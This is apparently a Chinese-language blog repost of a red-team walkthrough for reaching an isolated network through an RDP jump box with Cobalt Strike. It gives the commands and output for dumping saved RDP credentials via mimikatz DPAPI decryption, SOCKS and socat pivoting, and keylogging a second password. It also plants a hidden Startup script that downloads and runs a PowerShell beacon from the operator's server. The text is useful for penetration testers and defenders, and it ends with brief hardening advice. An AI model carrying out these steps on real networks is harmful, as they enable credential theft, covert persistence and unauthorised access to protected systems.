zoukankan      html  css  js  c++  java
  • 如何使用RDP跳过网络隔离?

    简介

    本文我将向大家演示,如何通过RDP跳转盒进入隔离/受保护的网络。下图是我为该场景制作的拓扑图:

    network.jpg

    简要说明:

    LAN是一种扁平的工作站和服务器网络。

    一些服务器(包括RDP跳转盒)无法与Internet连接。

    工作站可以通过代理访问Internet。

    RDP跳转盒是LAN上唯一可以与“Secret Network(隔离网络)”通话的主机,仅限于3389端口。

    rasta-lan.local和secret-lan.local是两种不同的网络。

    LAN网段为:10.0.0.0/16;隔离网络网段为:172.16.0.0/24。

    通过该方案,渗透测试人员可以在其渗透主机(Windows 10)上打开远程桌面连接,并利用RDP直接连接到隔离/受保护的目标服务器上。

    场景预设

    我们已有一个名为rasta_mouse的域用户组成员的beacon(信标)。通过查询目标服务器,以确定哪些用户/组已被授予了RDP访问权限。

    beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
    ComputerName : RDP01
    AccountName  : rasta-lan.local/Jump Box Users
    IsDomain     : True
    IsGroup      : True
    SID          : S-1-5-21-2294392343-2072776990-791666979-1106

    谁是Jump Box(跳转盒)用户组的成员?

    beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
    GroupDomain  : rasta-lan.local
    GroupName    : Jump Box Users
    MemberDomain : rasta-lan.local
    MemberName   : rasta_mouse_adm
    MemberSID    : S-1-5-21-2294392343-2072776990-791666979-1107
    IsGroup      : False
    MemberDN     : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

    rasta_mouse有两个单独的帐户,这意味着我们需要获取到rasta_mouse_adm的账户凭据才能继续我们下一步的操作。这里我将探讨两种可能的方法。

    凭据管理器 & DPAPI

    如果用户选择了保存RDP凭据,并且你也有SeDebugPrivilege权限来执行此操作,那么这将是最有趣和有效的办法。

    在凭据管理器GUI中的Windows凭据:

    cred-manager.jpg

    你也可以在命令行上获取:

    beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
    Credentials in vault: Windows Credentials
    Credential schema: Windows Domain Password Credential
    Resource: Domain:target=TERMSRV/rdp01
    Identity: LAN
    asta_mouse_adm
    Hidden: No
    Roaming: No
    Property (schema element id,value): (100,2)

    这些凭据存储在用户目录C:Users<username>AppDataLocalMicrosoftCredentials*中。

    beacon> powerpick Get-ChildItem C:Users
    asta_mouseAppDataLocalMicrosoftCredentials -Force
        Directory: C:Users
    asta_mouseAppDataLocalMicrosoftCredentials
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a-hs-       02/09/2017     13:37            412 2647629F5AA74CD934ECD2F88D64ECD0
    -a-hs-       30/08/2017     19:28          11204 DFBE70A7E5CC19A398EBF1B96859CE5D

    现在我们来查看C:Users asta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0 。

    beacon> mimikatz dpapi::cred /in:C:Users
    asta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0
    **BLOB**
      dwVersion          : 00000001 - 1
      guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
      dwMasterKeyVersion : 00000001 - 1
      guidMasterKey      : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
      dwFlags            : 20000000 - 536870912 (system ; )
      dwDescriptionLen   : 00000030 - 48
      szDescription      : Local Credential Data
      algCrypt           : 00006603 - 26115 (CALG_3DES)
      dwAlgCryptLen      : 000000c0 - 192
      dwSaltLen          : 00000010 - 16
      pbSalt             : be072ec0f54a6ceaffd09fe2275d72f9
      dwHmacKeyLen       : 00000000 - 0
      pbHmackKey         : 
      algHash            : 00008004 - 32772 (CALG_SHA1)
      dwAlgHashLen       : 000000a0 - 160
      dwHmac2KeyLen      : 00000010 - 16
      pbHmack2Key        : a3579f9e295013432807757d3bcdf82e
      dwDataLen          : 000000d8 - 216
      pbData             : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
      dwSignLen          : 00000014 - 20
      pbSign             : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

    以上我们需要关注的是pbData和guidMasterKey的信息。pbData是我们要解密的数据,guidMasterKey是解密所需要的密钥。

    这里LSASS已经在其缓存中存有这个key – 因此我们可以使用SeDebugPrivilege获取。

    beacon> mimikatz !sekurlsa::dpapi

    在输出信息中,我们找到了我们需要的GUID和关联的MasterKey。

    [00000000]
         * GUID      :  {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
         * Time      :  02/09/2017 13:37:51
         * MasterKey :  95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
         * sha1(key) :  89f35906909d78c84ba64af38a2bd0d1d96a0726

    如果我们在交互模式下运行mimikatz,它会自动将这些密钥添加到我们的dpapi缓存中,并在尝试解密凭据时使用它们。但是,通过Cobalt Strike运行mimikatz不允许我们保留相同的会话(至少我不知道该如何保留)。所以,我们必须要拿到key并手动使用它。

    beacon> mimikatz dpapi::cred /in:C:Users
    asta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
    Decrypting Credential:
     * masterkey     : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
    **CREDENTIAL**
      credFlags      : 00000030 - 48
      credSize       : 000000d2 - 210
      credUnk0       : 00000000 - 0
      Type           : 00000002 - 2 - domain_password
      Flags          : 00000000 - 0
      LastWritten    : 02/09/2017 12:37:44
      unkFlagsOrSize : 00000030 - 48
      Persist        : 00000002 - 2 - local_machine
      AttributeCount : 00000000 - 0
      unk0           : 00000000 - 0
      unk1           : 00000000 - 0
      TargetName     : Domain:target=TERMSRV/rdp01
      UnkData        : (null)
      Comment        : (null)
      TargetAlias    : (null)
      UserName       : LAN
    asta_mouse_adm
      CredentialBlob : Sup3rAw3s0m3Passw0rd!     <--- BOOM!
      Attributes     : 0

    RDP01

    这些凭据将用于RDP进入跳转盒 – 因为是直接从我们的渗透机器上这样做。所以,我们先在我们当前的信标上设置一个SOCKS代理。

    beacon> socks 1337
    [+] started SOCKS4a server on: 1337
    • SSH进入你的Teamserver,并安装socat和proxychains(如果还未安装)。
    • 修改proxychains.conf配置文件,以在端口1337上使用127.0.0.1。
    • 然后用proxychains运行socat – > proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389。

    这将允许我们的Teamserver在3389端口监听,任何进入该该端口的流量,都将被重定向到socks代理10.0.0.100:3389上。

    现在,我们已经RDP到了我们的Teamserver的IP地址,我们应该已经在jump box上了…

    rdp01.jpg

    Persistence

    为了保持对该服务器的持久访问,我们可以进行简单的设置,以便当真正的rasta_mouse_adm用户连接时, 我们可以获取到一个SMB Beacon。

    操作步骤如下:

    • 创建一个无状态PowerShell SMB Beacon payload。
    • 在你的Teamserver((web delivery))上将其托管在/smb。
    • 在我们当前的beacon创建一个Reverse Port Foward -> rportfwd 8080 178.62.56.134 80。
    • 创建C:Users asta_mouse_admAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupstartup.bat,并写入以下内容:
    powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
    • 注销RDP会话。

    当真正的用户登录时,我们将会在我们屏幕上获取到以下信息:

    09/02 14:19:45 visit from: 178.62.56.134
        Request: GET /smb
        page Serves /opt/cobaltstrike/uploads/beacon.ps1
        null

    让我们连接到beacon。

    beacon> link 10.0.0.100
    [+] established link to child beacon: 10.0.0.100

    link.jpg

    注意:如果用户注销了,我们将会失去beacon;如果仅仅只是断开连接,那么我们将保持连接。

    SECRET

    现在我们已经在jump box上了,我们的目标是SECRET。那么,我们该如何进入SECRET呢?

    你实际上我们可以通过键盘记录来获取到我们想要的信息,如下:

    beacon> keylogger 1816 x64
    Start menu
    =======
    remo
    Remote Desktop Connection
    =======
    172.16.0.10
    Windows Security
    =======
    SECRET
    asta_mouse[tab]Passw0rd!

    停止当前Beacon中的SOCKS代理,以及Teamserver上的proxychains/socat。

    在jump box上启动一个新的SOCKS代理(你可以使用相同的端口)。

    在你的Teamserver上运行proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389。

    像之前一样,RDP到Teamsever IP,我们将直接进入到SECRET。

    mo1.jpg

    总结

    不要保存RDP凭据在jump boxes上,建议使用双因素身份认证。DPAPI没有足够的保护。https://t.co/1lBySQcVYt

    — Matthew Dunwoody (@matthewdunwoody) September 2, 2017

  • 相关阅读:
    SpringBoot国际化和国际化失败的原因
    java之上传文件、下载文件
    java之拦截器Interceptor/自定义视图解析器
    idea配置tomcat,idea和tomcat版本不一致输出json会报500错误,解决localhost:8080 is already in use问题,解决idea控制台日志乱码
    guzzle json 请求
    Testlib-Generator使用笔记
    Harbour.Space Scholarship Contest 2021-2022 (Div. 1 + Div. 2) 题解 (ABCDEF)
    Codeforces Round #731 (Div. 3) 题解 (DEFG)
    面试题
    yaml部署
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/7494249.html
Copyright © 2011-2022 走看看